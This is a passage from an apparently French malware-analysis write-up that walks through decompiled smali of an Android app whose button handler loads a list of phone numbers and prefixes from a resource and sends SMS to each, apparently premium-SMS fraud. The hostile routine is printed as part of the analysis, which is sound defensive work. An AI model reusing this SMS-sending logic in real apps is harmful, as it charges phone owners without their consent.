&lt;span class="w"&gt;    &lt;/span&gt;invoke-direct&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nb"&gt;p0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v1&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;L&lt;/span&gt;com/registr/registrator/&lt;span class="nc"&gt;RegistratorActivity&lt;/span&gt;;&lt;span class="p"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;loadString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;I&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="kt"&gt;L&lt;/span&gt;java/lang/&lt;span class="nc"&gt;String&lt;/span&gt;;

&lt;span class="w"&gt;    &lt;/span&gt;move-result-object&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v1&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;invoke-virtual&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nb"&gt;v0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v1&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;L&lt;/span&gt;android/widget/&lt;span class="nc"&gt;TextView&lt;/span&gt;;&lt;span class="p"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;setText&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;L&lt;/span&gt;java/lang/&lt;span class="nc"&gt;CharSequence&lt;/span&gt;;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="kt"&gt;V&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;.line&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;const&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x7f060001&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;invoke-virtual&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nb"&gt;p0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v0&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;L&lt;/span&gt;com/registr/registrator/&lt;span class="nc"&gt;RegistratorActivity&lt;/span&gt;;&lt;span class="p"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;findViewById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;I&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="kt"&gt;L&lt;/span&gt;android/view/&lt;span class="nc"&gt;View&lt;/span&gt;;

&lt;span class="w"&gt;    &lt;/span&gt;move-result-object&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v0&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;new-instance&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;L&lt;/span&gt;com/registr/registrator/&lt;span class="nc"&gt;RegistratorActivity$1&lt;/span&gt;;

&lt;span class="w"&gt;    &lt;/span&gt;invoke-direct&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nb"&gt;v1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;p0&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;L&lt;/span&gt;com/registr/registrator/&lt;span class="nc"&gt;RegistratorActivity$1&lt;/span&gt;;&lt;span class="p"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;&amp;lt;init&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;L&lt;/span&gt;com/registr/registrator/&lt;span class="nc"&gt;RegistratorActivity&lt;/span&gt;;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="kt"&gt;V&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;invoke-virtual&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nb"&gt;v0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v1&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;L&lt;/span&gt;android/view/&lt;span class="nc"&gt;View&lt;/span&gt;;&lt;span class="p"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;setOnClickListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;L&lt;/span&gt;android/view/&lt;span class="nc"&gt;View$OnClickListener&lt;/span&gt;;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="kt"&gt;V&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;.line&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;33&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;return-void
&lt;span class="k"&gt;.end&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;method&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Ce code initialise l'interface utilisateur de l'application, puis pose un ClickListener sur le bouton. On va donc regarder de plus près le listener, contenu dans out/com/registr/registrator/RegistratorActivity$1.smali. On peut aussi remarquer dans le code de RegistratorActivity.smali des méthodes nommées "sendAction" et "sendSMS", ce qui nous permet de deviner que l'application enverra des SMS à un moment ou un autre.&lt;/p&gt;
&lt;p&gt;Examinons de plus près le code de RegistratorActivity$1.smali.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;.method&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;onClick&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;L&lt;/span&gt;android/view/&lt;span class="nc"&gt;View&lt;/span&gt;;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="kt"&gt;V&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;.registers&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;.parameter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;v&amp;quot;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;.prologue&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;.line&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;iget-object&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;p0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;L&lt;/span&gt;com/registr/registrator/&lt;span class="nc"&gt;RegistratorActivity$1&lt;/span&gt;;&lt;span class="p"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nv"&gt;this$0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kt"&gt;L&lt;/span&gt;com/registr/registrator/&lt;span class="nc"&gt;RegistratorActivity&lt;/span&gt;;

&lt;span class="w"&gt;    &lt;/span&gt;invoke-static&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nb"&gt;v0&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;L&lt;/span&gt;com/registr/registrator/&lt;span class="nc"&gt;RegistratorActivity&lt;/span&gt;;&lt;span class="p"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;access$000&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;L&lt;/span&gt;com/registr/registrator/&lt;span class="nc"&gt;RegistratorActivity&lt;/span&gt;;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="kt"&gt;V&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;.line&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;31&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;return-void
&lt;span class="k"&gt;.end&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;method&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Cette méthode appelle RegistratorActivity.access$000, qui a pour vocation d'appeler RegistratorActivity.sendAction, une des fonctions bizarres repérées à l'instant. Regardons donc de plus près cette fonction.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;.method&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;private&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;sendAction&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="kt"&gt;V&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;.registers&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;.prologue&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;.line&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;37&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;const&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x7f040001&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c"&gt;#load &amp;quot;sms&amp;quot; resource&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;invoke-direct&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nb"&gt;p0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v7&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;L&lt;/span&gt;com/registr/registrator/&lt;span class="nc"&gt;RegistratorActivity&lt;/span&gt;;&lt;span class="p"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;loadString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;I&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="kt"&gt;L&lt;/span&gt;java/lang/&lt;span class="nc"&gt;String&lt;/span&gt;;

&lt;span class="w"&gt;    &lt;/span&gt;move-result-object&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v6&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;.line&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;39&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;.local&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;xml&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kt"&gt;L&lt;/span&gt;java/lang/&lt;span class="nc"&gt;String&lt;/span&gt;;
&lt;span class="w"&gt;    &lt;/span&gt;const-string&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;item&amp;quot;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;invoke-static&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nb"&gt;v6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v7&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;L&lt;/span&gt;com/registr/registrator/&lt;span class="nc"&gt;XMLParser&lt;/span&gt;;&lt;span class="p"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;getList&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;L&lt;/span&gt;java/lang/&lt;span class="nc"&gt;String&lt;/span&gt;;&lt;span class="kt"&gt;L&lt;/span&gt;java/lang/&lt;span class="nc"&gt;String&lt;/span&gt;;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="kt"&gt;L&lt;/span&gt;java/util/&lt;span class="nc"&gt;Vector&lt;/span&gt;;

&lt;span class="w"&gt;    &lt;/span&gt;move-result-object&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v0&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;.line&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;42&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;.local&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;EItemsXML&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kt"&gt;L&lt;/span&gt;java/util/&lt;span class="nc"&gt;Vector&lt;/span&gt;;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Ljava/util/Vector&amp;lt;Ljava/lang/String;&amp;gt;;&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;const/4&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x0&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;.local&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;i&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kt"&gt;I&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nl"&gt;:goto_0&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;invoke-virtual&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nb"&gt;v0&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;L&lt;/span&gt;java/util/&lt;span class="nc"&gt;Vector&lt;/span&gt;;&lt;span class="p"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;size&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="kt"&gt;I&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;move-result&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v7&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c"&gt;# ici, on parcourt tous les éléments de la liste   &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;if-ge&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;:cond_0&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;.line&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;44&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;invoke-virtual&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nb"&gt;v0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v1&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;L&lt;/span&gt;java/util/&lt;span class="nc"&gt;Vector&lt;/span&gt;;&lt;span class="p"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;elementAt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;I&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="kt"&gt;L&lt;/span&gt;java/lang/&lt;span class="nc"&gt;Object&lt;/span&gt;;

&lt;span class="w"&gt;    &lt;/span&gt;move-result-object&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v4&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;check-cast&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;L&lt;/span&gt;java/lang/&lt;span class="nc"&gt;String&lt;/span&gt;;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;.line&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;45&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;.local&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;tmp&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kt"&gt;L&lt;/span&gt;java/lang/&lt;span class="nc"&gt;String&lt;/span&gt;;
&lt;span class="w"&gt;    &lt;/span&gt;const-string&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;number&amp;quot;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;invoke-static&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nb"&gt;v4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v7&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;L&lt;/span&gt;com/registr/registrator/&lt;span class="nc"&gt;XMLParser&lt;/span&gt;;&lt;span class="p"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;getParamString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;L&lt;/span&gt;java/lang/&lt;span class="nc"&gt;String&lt;/span&gt;;&lt;span class="kt"&gt;L&lt;/span&gt;java/lang/&lt;span class="nc"&gt;String&lt;/span&gt;;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="kt"&gt;L&lt;/span&gt;java/lang/&lt;span class="nc"&gt;String&lt;/span&gt;;

&lt;span class="w"&gt;    &lt;/span&gt;move-result-object&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v2&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;.line&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;46&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;.local&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;number&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kt"&gt;L&lt;/span&gt;java/lang/&lt;span class="nc"&gt;String&lt;/span&gt;;
&lt;span class="w"&gt;    &lt;/span&gt;const-string&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;prefix&amp;quot;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;invoke-static&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nb"&gt;v4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v7&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;L&lt;/span&gt;com/registr/registrator/&lt;span class="nc"&gt;XMLParser&lt;/span&gt;;&lt;span class="p"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;getParamString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;L&lt;/span&gt;java/lang/&lt;span class="nc"&gt;String&lt;/span&gt;;&lt;span class="kt"&gt;L&lt;/span&gt;java/lang/&lt;span class="nc"&gt;String&lt;/span&gt;;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="kt"&gt;L&lt;/span&gt;java/lang/&lt;span class="nc"&gt;String&lt;/span&gt;;

&lt;span class="w"&gt;    &lt;/span&gt;move-result-object&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v3&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;.line&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;.local&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;prefix&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kt"&gt;L&lt;/span&gt;java/lang/&lt;span class="nc"&gt;String&lt;/span&gt;;
&lt;span class="w"&gt;    &lt;/span&gt;invoke-direct&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nb"&gt;p0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v3&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;L&lt;/span&gt;com/registr/registrator/&lt;span class="nc"&gt;RegistratorActivity&lt;/span&gt;;&lt;span class="p"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;sendSMS&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;L&lt;/span&gt;java/lang/&lt;span class="nc"&gt;String&lt;/span&gt;;&lt;span class="kt"&gt;L&lt;/span&gt;java/lang/&lt;span class="nc"&gt;String&lt;/span&gt;;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="kt"&gt;V&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;.line&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;42&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;add-int/lit8&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;goto&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;:goto_0&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;.line&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;52&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;.end&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;local&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v2&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c"&gt;#number:Ljava/lang/String;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;.end&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;local&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v3&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c"&gt;#prefix:Ljava/lang/String;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;.end&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;local&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v4&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c"&gt;#tmp:Ljava/lang/String;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nl"&gt;:cond_0&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;const&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x7f060001&lt;/span&gt;

